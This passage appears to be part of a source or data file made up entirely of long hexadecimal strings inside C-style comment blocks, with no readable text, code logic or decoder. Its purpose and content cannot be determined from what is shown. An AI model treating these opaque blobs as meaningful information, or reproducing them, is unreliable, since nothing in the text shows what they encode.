f30a11c394ffc65ed40676ad2e5194bc5fb0895cc3d1947dc3a2397c7a2c710b38baed1dff6f0e18ceaa3ef758a16b7b254dc959484673d9b6ebb394b8cf75eee295ac8a45b649a792897d0d163810908479052c3b1b236eec7b0d4e74730a01812cca2ae343e43ac9b2a5107836056b7ed64434cadf712a9e4ec5f9a5e9997998afbbde237901c196be7e269a9342543a13770b70263cd6b56b99a57526748b43bcf801452cf1953999e1175da75aaf0384c55840fe6cb7601052664a23cefe3ce786105878acabee6508a25f4cf880f1b5d9126fe047d304c27c23c6290032057009006219bfa7925391966f89d67dc64711c026b366cc954ccd73637b0a530af7fbb7c12af92280cbad03e58040da7d5fac84851a32d9f58241b3547ba3c5db812e706370ad508b99a125902a8ce9bc74bbe3ade8c2dfb0ffd198022fe6bca3df4af3cf96e9445d660124ac652c4583462a6fa64c7247c48d0c5ab7ce4cdac250fc210815fc7768d13d94a0e9b77e6c71fc6c1575d7982c673eba6e04ad93b3301e25c234eb4d336ec954d5f95c96933822e0f305429c3ed3d936562dd98299e25516ad20*/
/*a45a0e2e2d4eb283ca600f5ff688a0112b5a0ffb0680df6fa514277efca768c69f67abd00f9030ec25b8bc43d178851f59143e5465fdaa06f58e155793c87e37bf433a452988d0a31decbfcef776cc105a3a49c25cca88e52f6c2d2c678178e764c21d0bd0614511127f98636b121ed710bd283a8e0478aff1e6aaeccaeca95fb8c7c508a3bbc2fb24a738fe290c05cab2e0747039e5fb03bfe0320fe50d2e3472529b4d98c6a2a6d852248b0fa6ee07150a13a3236f7aeb47439be1391f96182adc52cba88626b52f07e2c4f94d0eea62cd5abc21b947cdb1517574da8dd64ccec4e0d735faf473ba81e36bc4b8444d343022c268d3b7f2ce213dc323d8a1762ff3d2c9dd66a8dad9cde807a1d4343b749e60e3b069e9a7d8c9181a8ca33d2087d7925d2fe64024e707f392db4217de39401b6dff27b8d100c4d737b61d5410d43c05e2cd072e4c56f81387cb1bf553730507ab84e45e5247db7b19ed206717ab0b59fb618cfe4179e73e1c3d0d378aeb9ffe4adf62dc6bf9ef89e5476f2b3b1673059fa05eea37d2fcd9a76b3f81ea5a4ca7f9e5da27ff7d3d302fb3af5d3d4ed2971f990c21fd2a7a1e00955af35438b755a43c39b677bf8adc0887679423841b941e309bb43fbdabd5a94b9459ae3600ca1da09d1fc6e121d5415c301aea3fefa4f18028595a3c48bd5c0a027d7acec8a08d5094d5425d79c17d298b3c472d6e3574b7b96785e2cc49954ff1b47f74ed6d98b172fae50119848985b11f38b28a029a1def62fbd562fa146c33282e5b0ff4ea33e6b40ed1d0601bab23a7e2471438d5da86dc8a60f8a59a107483bca2dbcfde3058ad627a134dbaddaa2d562e15ab46bd6e6d20e214807f8720dd6647c94e49367237fe64b2f9aa2335d14aebf2020cbaeea7dca8fd8aec7ea480e672b0618b64cbebad2c1935071375ce3e2ba957e28133d288d91420798aa2d0c25f1f99905dd69f381f0b21ff8cc5cfa72901ff66ced687d80a31b315ebb83149df84ea3622772f18872357141209a222f302b517e8cd4436b4f73f122fb1794343b2a2c5e43fcb35f838c57645f08f69f52f77217a90756a1afb12b2755ae67c2e1519df28301bc9a23750f33e567a21eed8e446b3ba15e0db29ef889702e4ab850b7491863abe60e7dbbfda6886befa8f9141ab1ffddfa543c3da3b80c0d2b2ad642e7c261a77d73bb7951fe2ee8a866dd27742a5fa475eb33fafa35d273caf5d0cdb92598021afdd0044c0369bc85bfa4c2752bd9ead2454fc7191509a4de4159ba906c4b966dd9ef2d203af12844dda135cf236a0d574a552182053523d6cdc39af55ac8c38308730302bdd634a808341b16f611989a1cf3abcbd25550adc8a27ff27226409c7f7a4ce476d104d82f237088570dab3399d8956c24ab030cd51b46f7d217bdb18e93365839f2e869ab16217af141ae2828c02fc9543dda77681d3df1360f783946e7642042efcad9265f50123eff6fea857b625b6d9f7fdc00d0ba2565211727ba1c5ea68c6d4515688db7876d3befc5a0c8fdfb60ca1c5b171ab082a164ded2a0634c1a546800cb40e3a648d35cdf539f147359ea4886979323310e2a70af7cb5582c4ac0ae597c916ca7d89e13fc93e7c74502a4659bf4bf60fef38e6e851bb84bbdd5211f0961ce93ee014bae9df8f074ddfaab89fd5978518732794ec4114c752b767b2216f47c2be87f258a9f0779108e13431bf72abd7a3054e37dea0f4c6b59e208989322a48105c72b481014e96dc9e6915c72c10491a09c55b24254c1919fb7093aeae314375a66219082469caa31e16ea287767e5e43fd1f0f43e612331b2e6e9ce48b40ee01a251cc45e6c82dddaf8f90f437b0fb2a42af193d0d87e33d3a7c4585789a4a7fb4c56982aed79773fd32deeba3d4042ae6469415e620b8ceeaff548f91058c73cfc2913f5ec5f04fe9f5d86a327ff2c82bdcdcb96fc0c4eb362f5a51352dda19576d8cf99754fb2b14a11773edd534aac807d316565e62022d09c07a613ac45800c74cdad7fca527cb13d7327cb4c7d9cae5520152ed690636afdbe90d8d680db7c0517baff157c1e5e3f66c8eabcbf95e9bfdef546ea8d1210bcf570e02f5478306e23b28d61436ab6170f66400e17a74d3abbad77ec7aea7f8d2537b55ddf714b9140d57573a3b4ceb258568c7fe418983e55af8db8b20d6b8ed14b10e81bcef86fe4ed0ca70aaf65c2e9ab6391b063a4c58d37d803991e7e5108ef1f3cad9f65e125927d2d4f7321c091a968f2a146974f2c16e8cda06758b30cda3a48639397e83bc5675bafba8d9671b11e3266339852a92a9d9ff2a1a744c22db0a29263f684cb110b6c535d5cbf0aa75c9521214fe9ae02a9e0e7961b5c18bbf8dd913d4ff350892babbd6a572f5768a0d05e54d7ecdebad22c9fc3a3447f779eb3508ea4de51dab027c1ec62357edce86e1dd2b208233498b3bd640e3601855d19193e53a78de2d579541aec2e9a76d5fb0deef6ef1353b98c418dbc79c4b593140b22ea802854e9905c139d17f6060194e2ddcb848672ba0d963fbad4242d30818299ea9bd27a73ba3527dadb9c08168ef7d6c6c5cb385400c1f8df1a913226234e555dc19bba6a87a9052528c376eb0b7e95f519ff4ea4a8148bfa3c982bb301c687eff682505ecb4756e88f427975a0236e811cd0e6ecb3b82631205af9608cc2f4629a1d5c9909f4d3eedb4901059b78c877b4c1fe935c80f63fb91ebe1e347dd5ba1674870204196d3ef15ac368cb291078a3d7af58852e98a323a87d6dbebd3eda016980a2b5ec90b3d806c17b*/
/*d8376245685f58608aa03c54038aa1f473ce55fb7b32780c8e6f90e7d1923a1dcd8ed2f7550157645bb0ce111673fd9998b555b506a2d52ed3fcc19442d1b63939fd3bc69ea88fc4f3872d446bafaf681d36081c2e63d4ff8d935f8abe375904f00916f5311be27309b657e538a09da2c20b7ee1e7393b2479d7a9635367dde7d37b61c8462bb00c8b6c323caf9ce115a4ec9bb10f7cba64b3afa4c9a403a97caf3d567121d0b1b5cb3ba8bf80c3c6ecd61a05cbe99a7998c531db8ae19e658d4f0aa19a006c93d6fb65dc092b3f6a72925c6a327da8c9acd9e3c2ad572c38fc10d36c679838f0af7e505dc89722d26c79d46fa740ad3f6f94fd8f7fb4df01e08941aa596d1423aebfde2e2808f0be543bf7c34fb0610e003366b2465419f29801aef23682079cb6fdb610d5f67f3b27d69a443a502b33f0cc9cbc2a034a934c562753ff69041654277ba8588a721159f21100abbeae9371787267d28639b092b7585e38e992e455e57a4c3d300555d10e462a6157100063174cbcb9edcc0d46a84ad50cb231d6ea76cc2868ae1001c82203d7bf6a42d1733f3a89a0401ff423d8639b1fdd3727ffdbe940eae92bf090962556ddc1e31bd5fea9ea76dde914c9100471d1e056143e3c07dff5dfd5b7fa9b967e1ec25aefcf08f8d547a01a94df0b3955d6b2d0e6eb261fdb204ec83adc23752ddf37775656d1827c8b68435d9b5c70d9a56068a70d90e21f200299f9efa0b7cf1044b5ef2e7f53b0a97a13b607b609a29ef609f7ef0952ca95747cd0a9c2e69004adff08da7c3e0e06bfeb7be2ae3cf114333b1243bd4c6f7516d1d0e705f4cd231fea144519e2dc2a72293c75891d57deeb92830428b51b033b22780aec383ecd5c3c405b434d20b393302567563b2f7f805713b3150fdfa316bd29a526c1a131da859b08dee63c5db06b52b698ae5fa4ee21988d9d57de93c095d8d125fd43255511358280a9580175c46b6e3d44ce1e7da5598551f1c224f1cb8620c370031b8333efdcc1dabca716fbf1f6090b931c1538f803ef917d764b9319c678722520cb875c57f9047608a4eeb1113fa2602d02713fa0e0beff2d8d9bb5efab714d83d0ba39fcc5c5c4982a0e2361661f6a4df75387683cbe54cc62327c18f19f3adcd47de8bc69705b610a2200302185d02358211bbcf51a652fe2fb127cd229775bfc5b893b3ef3baec4951b5722176b3b4a3c324ca674027a5ddff3e869c25bf95a54bcf64c0034ad7d8e8e94e3b06d35d294cf032d13883fc1e6821ea7ba8b8c6773c4af3bb422b7793816f9752c5674f6de1e574081101790416257962856e3b4af8c1577d6a9e2104aeeac28b77dc099aee85bf2d1b76cbe4ce7c3dfccad87ff4c50edd4c98584a905d0f84da7f78a8a0ba6de8c2ff5bd82c6879b708584453487c7bb06556b79070d2b54a5c48905e34fe77e78fda6274100adda51b353a2f67ef9227f764559e0969cab23585d37e0a7158656fbbe6d277265e3283f3541d7a653eed9b5bf6384636a11e4b4b22a61fd2af50acb9e1e71bf3651e68531259a56910c430e95b22a70228ef620ecad9fd982ca572bf0229c3aeb70efb7a366b4953966ae308268f4a9f2a34b236bf879e4c0d0270477ce44965c255314c2a057054f76fca5d8ec77e356b7cbd4f009c2cbc7dec0a6e717fd1c6eb4fe47f1cbc4e8cddb4096be10707c4d613c48d0ea34983dc5e0e948c38ee2e6b131558923d93cad635f29c1596c93eff7114af90364af422943c59a95b99dccb00f97e886128368234aed280bc3a01f12fe0df6cc909d757e711cd2a0da4702730737ad8b4137642f57217c765750bbef2afaffa8ea41f53f27b3b7fe63c0dad72f9ece4d4c9642c9121a04fd847122a6a0b0af1e64142df18d174bf9dbc1da05966755091315043f004b08210a3f20a4c0cea136f6ab1dddea4352970cadcded880996d97fe1bf65dbcf84c5a6f2f5cf6d869ad349db17e009833204d2d76a868521c9dfa6363354d2d7361935a94263529c470defc96c3655f7c8537beb179cba59948be378d45124dbdfaf06221f21d20793a5e1c8bfda465d7114c781706ff3500b3686213c80d78983910564aa56ec154d7f89f1ec79ad88df5ae5a32230ccef0d97917858f76802416178798a2cc2faa8511da7a085560252a016c5dc840418c5188d72a2dba2c623e12e8abe328605eaa33447401833a9dadc10ec50eb209d381419e9bd637d4bb63ad5ec3f9fea36c344fbe704366895808cc96d894fac5b4e39df90b57fdc54fd560d47a94a533191750b1c466e8647f9e1f714d6383df7bf64650fc46dcdfc0035023f22bf16803e5c1452ed3b3d45f2c09ceefcd484ac2f3307955fa7eddf932dc116947b8c70be3960411466d5ad24ad983f884f380408c1113b112f57f83d592efbfd6176f3c7c9a47dab955db7620bb751fc72fda3e753d7927f84f6449562bdf5aded58bb31fca834fee7d8ebad77c87374dbc7e18a6bfb1e244e5378915cd89c9adda9c686e49bc05beffc2821657209ad027d5c71c58c9a5afbfbd74525b9aa39f3462d7f08cd80ebbc7e8628a0055c8e5df56731e1e208e081d4f179cbb526d98c6fa5ff3f8757e02f0010ccf1e94709cec94221b24526dc0acceb712b0513d626dd6294dd565243e0bf7875e1bd26cf0c2c62bb10797197173da97319428403475c44c360cda5bebf01115a4cf5a90d13f51f7300c1abeda323f8a52ed5dc37e4986a29e8e261f5adf3f0af2ca677151286376a87065bd55e390ad4d116358fb3a400f67b5654074f8a788a29cb88dd735*/
/*c6e804ee434e233d183faa70a25ed46d15c79bd8e33f391a83ac321e4673cd65cbcf9a673416946aa19db9ab1c4dd24534b1e0ab4eb374e892528afba04d44950110c38efda29aba00657344a4b7a4590ccc9fe311475129f8942336ed9d5278397062f0e899648eb85933d2ab403d4c0e151825a1a8dde42fb12e4d95a6fad14a25c40587d576aba50d42b36ca0ed0761676dab0a23bf5dbca3f9de1fdd5bd082fc79c4b1ff09fc4cd5cfbffc9c559c9ed85653ed28da3599fc6d17d04c680ce0e1bf51145efd3738f69be9e2508f85ed5ce0a9bb2bb63af8861c141956ff93c65ac5396f40aa74f59036c44d45206e9e43de4f9ee628806a0d42d7189e02713df3945736aaa0d77c2b995d2ab315050ee7af83e28b8fd864ae365c468a0af525353317802d1a83d70a36913e467ef7a63a28de58025e99b16c0cb65b35593b3f4a6faff89feafeedf3531dbaa5c0052b00430bc38918323c78a0df20502da128987e18614c3c7c4ed794db5ff80b769c323e757fda0a60e5335a127c90307914dcfd63e7c604638d53f70c336fa201289927839e6f6c37d038caac70c94a404c77481a18c5313aa84edc6e1115fae1b3112ca97aa8906b19542292ab861af7bfe32579a0f22469388c5ed53e8c5008c411a226e335638b4fefbe3e3538f622a491e760fa066191a749ae36e81d3a7277eee3fd4b2685e705a584e4481c6b3c1223bce68d11fe301aa5d70dbd37de5568e2d0401c6e1330f3e818de62983bdc6d667dc91bd015e964cff0eba60b2c2e498fc70ea9f9b81e1b4dfa38cc4ea7119f3847199deafecef94b15b314da7343db0fa7593d75f21c3d4730c3d24706d9f132e6811219364bb01997f6b848a56875221b41e8188a3de88dba8b3a3d62451bef4d507655c642a372b8db30f2c3a1ea6839df1fadabe547b63448cd4e8f96a83da78c0adfa5359ff9388a3151a2d8973aec024b93685f9ebc7d6571a2f463ae4eee83ce354095e4e7defa8b710fbb602834a4438efb2dfb30d7bd016e46b12f474220cc404977c29ba02d13f7089b388a7201a6a7ce7d61b5836b57ff4c4e9806df8914324174c8014778d8135abce412c0b105c1f69fee03adc6ae6c879b4ab4148bb0bd5ca1c4dfebbbc12b509dc2c34213c4ba25a89097e00cdc7e13b18b234988cca52fbdef3e9f3f6b952180ee92e93baf5ea9f1cf8f3327841b4f86139c35feb923b4f55e24c392ea25c02fcc6abf029d0667f28a7a1ebaae518b0f7606d9634a4a675006d3c68d99f99a4e91345db2be85cade1b37ca9774db15344f75bdd364e77ed423a68be937f7905fa102bbb349490499bc8f6172b51367705c53fc907a90016f080cbd7fbe957c217b81408eeae7126e5d0f2dd9e2e37ec0d25eef946d7dcd0d217c4ca8e282568050c0cdb94180f81653e67ab29bc6db6f82a6f7e41e63c9579e4a625c208963e469efd7bbd6809e56be1e0b5dab62365113bfbaa42aca1f13440d780d4a45e1e3f0dca407a57c28901e3eb6e4e42e5560cfa0986c30a455dd858dca1b5085bf8637a416ef34b7447c34f49dd49672323f1d9a5ca016b82a6ce532379e67bc0d4c9efa3cc2ac100be687d5dc3aae014f897ddbc0d188ac0efe7b75900fcf2a5547480ecb67f6bf63f098ed68bdbaa6aff467344b86eb50c7c5cab88f73009da41cf254f61d64ec6f527676b98ef450c7ae005c9155f2be38bd619d53a5c855fbd3d8077c9cd81fb27172544c67a7891acaed9be5fc6f7e9b039de72c6455ba01a3dafa317297c8ec722cbd4d4cebf35e33b76b2219d6b6002429b0e95b65640cd9cba6b72fc03b528f1fe22e2e7ec10c319717515342ee0000ad8e55a88b471b1c0f754d3761de321e4e35d0ed5d859ab1ce339b30abf532093cc3e32ce11a56a69b011b9e0b79c344a423af921965f86fe900d8bef8a0eb050f69484e508982be17e03526665c8c33b359bc203b4b9b9f292b77e247b3b29c45cee239456d8c476a71da59f9a1fd1b8c7a8c39c778b9f5a8fe031f09e5ef61e18daabbed45b0db89fc0b8961a26e4da5a0d5c33505095421958293728478e365c30679bd72ad65baa1907e6a8c1b10e2e1381a7ecdbc1f68405bfdbc42a333035e422fb3c73067e5c69bd1122a425e6876a5d1c951c776540d7cfd1a857b349fa5f67c43196c2a3fa17c79cba88129e4f0001ff857ad22a7f338b224608123a8267fea1e80841085fc8d286500e74ecc5293ed3c88e62fdb82fa7ad14f53824e687f3132e1e231dff7ee55952844855aba8016b629645567450a9ce513ad7fcf517c35e26f9012243f5a58e72cebe5d6ef932c8a6773718f74a8bd3d3a30f6f28276ac964f3fa2a9fbccf97c5006a4e02a83dc80b2f7ffb56d9c2e5d180f3fb1cd33074f49e14549d000169a5738ce9b00e49f3f5f14a601a96e2a2112a2e83a353ab596cffaae0a4d20e997a2c430e270913a4108c2caf8000ff82190fc6a9a9d4e00d8f3b519743adebf8bc3b4445695563ebf2e9e3fbe6e3738777fe1eaaac99334ea2428cf333626b3b4c891317bbf821099982afe613e64a0b06c45f59cb12cced17730a33aa74e303f661399e6d17c6d25a944885835601adfedb6685b2319bf3d5405c95a78831d5e14b8fa0b7a9f09ed6d473450371e3ce9a1830b4f446adc442f3a3954afbd7fa117c6965f8e4ca3f61cd43f2410041f46f9aa96a2dd29ae03fe8aca27a630697060c5fb8fc4e6b84202b2c91eaa957667c84c9130a4d6dd761ad962b63a855a1788dd3491a140a8ce87169cd2d309a7b0edceadd301d1b4947576de*/
/*da48414a970a7c9aacd0bcb24cfc259ac1c4302e61dd128802b287bdc210a8bfe5cd5481f60397609638df3bfa441e7143bdb4d372c4e862be842c73a5ea38b52e040aa9257a3a49f484e9a289a317614a8985d28c43cb1a505058c41770e28c2ea7fdcdf0ce08a7762dd188881de49b26143f9725f59268c814b1d2e2a12c866209de0efb0d16637d6944cc563f4cab106f58f1a2110d17ac62424f457f1049db027c637c09ecc7892bb1fb89985bfc3629a3049ea5f6a7f56a3c251c86050d512071051ccf25ae2a6344f2dbae665bc9757b3572abb69d850e7e889eb3c2590fc6b81a80b5d9210e4f2209f6d4035c16005f2586a70e677a8ec0ec32d44900b554a230da7507ec94a5cdf0d0aef0bcda02b9f1d1a9dcc15d9408f2414a6d9345e1a04bd24210315c7b1a885b862d8a570e3be720f09f21c0e9d3e8f48300c655c09d111bef00fa053d5ff0fbb3e666e5293277c11da8c6a0f31dfe6d915d0092a5bb7ef303408bdfe4a8578a5451b55293ee2cfc857659776c895be121b5964312cfc112b76c0c38688b5175c723f4d4e3e9503fc96a7c58736c979beb6836b6431be7f1d0ad7bce058181e011ffe47f16e44f1ac93c5f9120be2db0c1206daa6f3856decb84a07100fa10ada9ff5350b24be44de6dc5d2c5349a93957472451344b608afae5245e4bcb7e2ec406036c2b3320c752cb983dd0f821f09e4b9079057cede9beb5711921dc659c6703d0331e8a1ffa24b35e57c36eb745f000c4cf70b35181a4432594a6650b6ca2c0fae1e8c19754ac789569ae8ecbeac958e44c99d75c2919e5333ab24ba484d980f83d768397da34e0952efec10a69d99e2a1d140da6f7a8322addbe279819514f8cea03c4be6e417441b2e50dbc66dc0eebe71b2fba4e7507c9f23856e8007c5ff5fbb93b40aefcca26420b3670583a1e2c7fece206969a047d86fef9a01273a193cbdb82f728d4b2944925bfeb236fe7a8f13acaec3492d2a2d75f8cc06f6ad4b6c49a88a050475feb9e8241052e3f271dd8b70d92a991f5ca4dc94bad4965a830dd495ef83172e2370fb58b0e5ba9b68c2dd0b81fbefd9416f6dd2e081c771731312ddd05a3de2720f2c06e1420cca0ff99ba0019ec907ecccb184320673a390a590f092fe2c0af3521cd610571b522e4019f07d6e89624e856235c5950d320624bc123bb74b698969c842a7df3b7df990f2bfdd05be6d22d2c5869e0c37c3efbc944cc38f9e5a045d997025b57903c91268159b664d89761009a9d24e549c5a5ea4be4d5c158be3e0cf07e886cc6c2284f3c596991326fb0c438d60c0172ecde93c5fd1b316220919963602cf6cadbcdd7a1822f1d8cc251ad38888aa6f21e1374432d2eb8993d1fc578af6fa2238c7c056cd76597389f90c61f964a7b42f29e3c4c80ec31e278a02b7430a851ee195112ee728e9a6d1fa1550a6af8180cde0ed61326fb83e34ec8cbeaa36e5e0353d1f79906451a2057cc8322a8875f11eb0a4496eb68f86046bf965009d5b27960d076ca513fc441cdcfae26baca11062663259dc5130a7709c9b8992e7b3651e18723a552f012d4b4c774d174e0a6d08b6b4df34231d8fe9afb97978696577c4de761977bfb37b91ad80774582ffc3cd87e657e9aa64a279f6184580f3ca084c102c0dc9854cb7e2db936620e10388bfceb37fd6e856ede19a02613f398d4c2b36a7ca73e763e672b2244b63b4e50fb49756d2b6a526a240c3291007f439a31dbfad5f9bb87bf33f3cc555209b35576202ccdc6935225909e7aa4064f251a23e0e71c8a511cb9620ac87f1280b473a6b45397e67b03d09ef1053fb707e0834d2d61177eb8b107a70bc0610b7583cf60825a506ec5a13ecdca7e462796a96f6e37a87a70973fc2a9b47beee55ccdd21d3548e46f151c84513b44886ac972282d74ad8cfbc66d4a023923b00b9c7102353e2829d161d0d64d7496dbf376c813b2712a3d0b785863abf29f643985b18f79e8679c94708b74a7fd5d09a452114416b4ad34fa7ac242eb066b5662df4f265fca81d5359439648d23d0efc2344352841182c735aaf2294d13d748a5493102dd9adfdfea4aa40acf9ea4ffc59b4aa8b2b1342abf02d14d1b258c364761892ccde3c6ca23b07facdd4e7424a9232a74df80c3d421f61a1d52f3d3434d4bcb459d1d87dc722e94908e9f0e07a8c453d5fc68e4f8c7d20f6356737a5e5d39194bdbfb7e6c14c41661cb2c08155737188aa95b3d23955be8b3d3445455dcffa27a7064eff67cd3e1036a8b0c9a5db7172b8937ffda7dda0c0ba4521d6eb5a31e853294e62dae08ca0fee6dcc9d01ff65286a572d3eac62b5904da94d714846c33a00831e03c40de8b1082621f38c26ba9ef22ddb645e22863fbab5dbc7cebc41adf15d3f96583383e84e8e5be925d9cd06a5fed439b4749e6a662cbe2ae6355f4ea788ba9dcab6ca156c537526e558c254c3ae21a013fbe77f007dccf9aa599ad28033ab6ee753b4bae120f2d350d9ac2fc0c3f7b4de0c20f4404e8b8770ee0af1b26ebc82cf6403d2c8b598f8488ae50760bfdd4cce3505c7d882d412e59ab88a6e17480f588739d7537ab5112db12a19d02eecf1e32c3c55ff788313e09e0d53776912ff61c1ca66503761724be5881a617c7d80b1b6dd8985c578aa8fc4e89b033ced60a5ba5437deef21b68e8a91ba8fb03f5924f4957ef776cb89ce6f8be0e499110551e3f2bda4f38d5b3527d560ed7e54d952e054681e0a6f32a723389d2fd4b8c58fc42466e8dd573d989319349577bf5c3a383b98dd5c73534fd755ac38226c*/
/*9741c48cb38e8a98e60bb9e3c13b899d2950cdbc5c48b45f1cb74f979b04005383d4274508acf7668866c934aa7ab69b0ad38a2a0ff598b1bf785767c50d42bcc8da8d27c224d97b2d3f64869a62819e7dde128fcc4017053d1ef356c97bb717749420fed316d9200efd33212eb4a74f7852b268e8a0ba6d3db5c51f7a9c920c67c7a09df1ba94c4f2576f62e00341a73eaef03fa4a3e3c6aaec5e257db58bbf0feb9772b98a82163ce5ab0cd4265a1ac6b45dafe911a836d4cc7553e3ac1783456d692ddded27f10261f4a404e344996302dde5127c5a4145e17d51af5308d0dd85ab660a6c352fa50c71190f4c6d19b588fbdea978651d04d6c9f61c2f0139b4c058695cad7d1c31f64fd960ee59afbed8d381a8df922c27c6b038ff424c6ff85e855cbbf92810bd5a4e7b307b51cb78f9407818d8e1eaf00919ad6adfdc5097ac52fa68804dcd6da45ca21b2aa94cb919a44d57de80860bafb7e78f21945922b5ca8db82e2fafdf52b9b396c35fd2550964c80cfeaf2344200a833d1e7a242dc4bc528580cb8521836647e307052063536a9d21430593027952c11232f37ed1462a1a3e99928c3c30a28220b50cd6c0868cdf427c9fde74aa746dece66b990e3888d1f0e24359811d55ff0717b9d9f3a551c7264cef6adcebb8e1532f38e8e8ce0ad1824fcb67be37709fcb334b9bc1d38f09c05d5c89da833da2db316239094fb2dabc3f1b75953ea6f9ba8adc7eb20932ab75e4a4003a3485a38d4011a4492cf975e38bce4d413c56ac777c2c35a1616b7136249e114e52452271d756add4844d9196194771993e89740886466f9c292ce0501cd2cb031403b1b875153fe846efe7c47d38c1acb3438cec9f2bc188a4111f7993225fb1b27111268ecdce82eaa8fd24d0b3c5bd9775ca9f33f74a3d998594b7009dc84a50f34cb8bbfcb4546349a9485ecc8277cf09ee41f14983779b5c2af7e88c9276391107194be038b65c754cd599fb841525144aca95fb47e2e0050397cf1a2b0035a6135a4d1f06094e097d239bd2ac9649e232010fe8a169996830fbc9879fcdfc431b7e8b6189d62153f7e3ee77be53e6c7edd95ec8b4d96c293a0dd91f798f5fb0e5163396126b8eee78ca37d49f6dcdf3039c05a7926ce7395c710093f6735044aa6675da6f78c1decb286fa255f43ba586a462f3f310fba0916371a33c389320b701a9e84e1fb0d12fcabbe120ee27919d3705d9b90be0ee4b10b3e3479dc1f0388e560f7f0473927f95c97b2e57b3b397f36c353e39ec6f3093026d12bd35240b09b8c343c5b49ed109eb87764a797c895dd1a5d9283b2e0dee569ef483ea154b992d7cfb7ae91ad0e46430cf04e5e46635384f6c2e5546ba157dae9e3071b912667b6c04f42b50d4724c2c898635440f506ba8e8feaa979f2e1d8f93e0092e5a36befe3ac27ec148413ebf40a30f86a54aafcd6b90b8719e28cdf1bf9cb1b697172487d882611bd6d702c182ce32222318edda983a3ebff274ed6b2e1bea05eebfe9cfe4cda3c78ffb9a051f594b4468144ad013efb465752a868c8d86f210c519526a603bebaa0e32e6e6d5e7f244c0bcdb99b4c8404a18ef93128b964210afe5c2b01c6f72d8d53a2fb7c840272ea76182b7bac975fd28379925c1e108921d3b02a11564e99eb45f834ad244d7717b71cc1626ba3b417f69eb52ac31d8416d70c7c3930a67e5600dcd21a5a0793eec0c4c8bc3a37d7cd6b1a9863a12407a3447fed570d2f40425b55366c6f14f49a2d876b156cfe72dc73d6f1c08af3018df9e99dc9a4f31901e928c9b69c8cfb373b5cecc56ed3132a3b38496e80f65bcf026ff45215f9cee64efd52aad868db513c14f24793505f78231b8835319964a4c1e201201a249b85c5f87b3befc297e4cecaed81245b2898e2ca63275f943c54be50700f5fb9d68e06b8e9aca978190601dd16077b76ca6dcfe9be84994c2f3551c1d8e3b2cc6ecca03490e31a054051766e025cc06340393c5af441c9482f6c638b16bb620f7531d70b9b297fa021ffb0bff71413237f97e277e21e923a061f25a078f0f128ab7c8948ec8b5fb008991c3a32e31cd2d10c308d685c9fe0c44800034ab85f205e6921631b9a176a7b7b4259c96f533a91c4f0d346b4b35605029e140121feaddedbe1d350ebb319014cc40240c4287d43a9b8aead9e755308c8fa3b7047032359ba96c2cdc4258ba7c2ca47de3275453af1c3db8498d2850cc7ee8b42fb1b7cdde64721dae9f967e18a5de79593bc417b2f01165e64f542ee25f27d9166ab9b0549963f895fa07cd9544ee3c0206a5a17c8f340dddbe3859fc0aceb42233db11bab8a731a6ba71fae5a8cf71548fb7af9ad6bcabbda04ca5c9f6f36e770ace4de77eb7b95abb4d3c3ce077a0be1f7497192afc53be8e5775ebafb5dd1a01c77057dca01e7fcabb725d99503f1b75156fdb044a98c04e36d1a45bc363065517784dcc64480bf2f2929c5ec46a1a9a89edde294d7a8b863279aafe969ec223733bb9ce157c97937cd7bc686ea22f5c5f2212f166e64e24d8ba6e8743f1bc1c4e867d3154f39d78323c1eb3949e2d5a106c1251d6228dea0c5f343862428e71001a718b3387f97c7e9de004e463135dd585b8c49b5f5487bddd696c4aa4f58260b51a30d6e434bd6000ebc21976efa173824796b8f8db31478085eb567b828828b1b147a55e31129f14c8f4867992d3df7b512c3ae4fcf28880db51f29c9c3f8dc20653ced97817304086b1f7b810a105dd08e36cfd41765361065b971b4ddcf7d85f26d1e3704197271a61c54d4555*/
/*a55ab7f1ce743904d0e7e5de1a648e0c5e7890f6315abfb7ef03c203d41fd3835652e2d933ea36f6e6ec270e7bd006790462e6f74dbd079b0cde724d07e121d0163204605c3d0e1c9c6e5dc65df1d85831dcedb9c63eadf4808e4f7cefe78c4c3b13758b1e19f202175ec729dc9a293133dcd6664925d9963b6ef252a3f6b3e5ad8ae57523927d7f18321d74c2da0318758ef0362c1ab0a03e8f7a47af28f12dbead49070a8be05260f2342a9332c69b9be843bf24ff65afdf3d214dee4a2fc2ce923cb559356b84ee190df4e89c7d611a1391a1151de0ed1d8fdf3750aec39ec834bcb268aef0a4d3eb15cff40a2b008093fa61582b5e50562eb8ffbf45b31afd1e5f1ff778443edf1902a7ba9f4520d3474f95c68e77326e8e35703e1f0314bf52dffad746beee12ab7e36c372d334075edce54915a58fd7b806ae6eb1142043b78fa92f7b5fd10d8e40f51e0eb2375eb41b87a373473daf93079397bc1428b7283a4feec528c401ca37c034fb4cd4c91547256a3ab50bd54060fd374debb8511557ffa28d576242e1140bbe658346d0a927e0dc5056b286f092378df921e945a534503f5bf1a4ff58fde368a607b0fa4d65be8b7d77fdc224964febab92ab52014ac1842f7f54806cb2bc97caad69170ab3bc7c7cb5493ce5fc9f15c52aa3f7375b36636986ba16a98d0ccd247564bb0acebbce4d4e79138360039b32f579431adf96e282129f6e21d0aa6168da439be0469d762d53f904011e1d85826bf2f6c5065d7c379403ff8cb60d387784e72baab8dda087cbf1958eaec00ff5afb366883c388128c2145df8775ede55a079471c47adee51d95999adc1d7396249a9d6f71ad05f4026a5bd3c3e0093fcc566da6170fb0a309a1899258b13d702f639bdd044237a8f69921b0cacb083509a1cb5ed432bfe3c25a6970714224bc3745c49c007826875207213559e35345bf7046bacaba5d31fb47a48a1ae096999738e12f70bda274a852e841a41329cf00cddc56bbf2d3bfe394d3ab092d3d1badae1e8bfa3ff674cabf8b37f6ae075f3f80997d486ac1140359ba3746abb280cb11389a4658b457f46a2960896834870b932c44e1c00cb2dc40e46521752a2682e6fdb1339d2221bfd3fc9519a4f062732213f736db57f03bb44c947dd5192f8468a7cea5812eddb0210f745179569c01b54b4f42a411a43ac47b471f8b9f955c2fc69df1035a6d3fcdfed608a2c79b0e95536f118f6b6f2c353fbc2cb751cd69b8a250dd7c45f19e07a49b6f266e7730f2a881ea0aab399b740fe31a64aada4c596b08c9116af73df2e8d85a635c2262127780a6cb27bc560199f640eaedab1ebb08972f7eb2c762f05431e27eda40391f6e8183954f9f36c31002b525ccc307d1e985abf536d868b7705336e7def37665b04a647713ccc78e91910c3fa1ed9ff42d7c6adcca0618a5e8e3c93243547a177ff4e593daccb8d2ad375cf080016310f94adcc5e1433cfa8bef40d213bc73f945f7ee8a253e910cc9cc2e37bc396de932a14143235248d0df90da0c28ff877473c365a930f32f862d2d14afe2e4f40c15e5cb80501cb95254396132c2b228d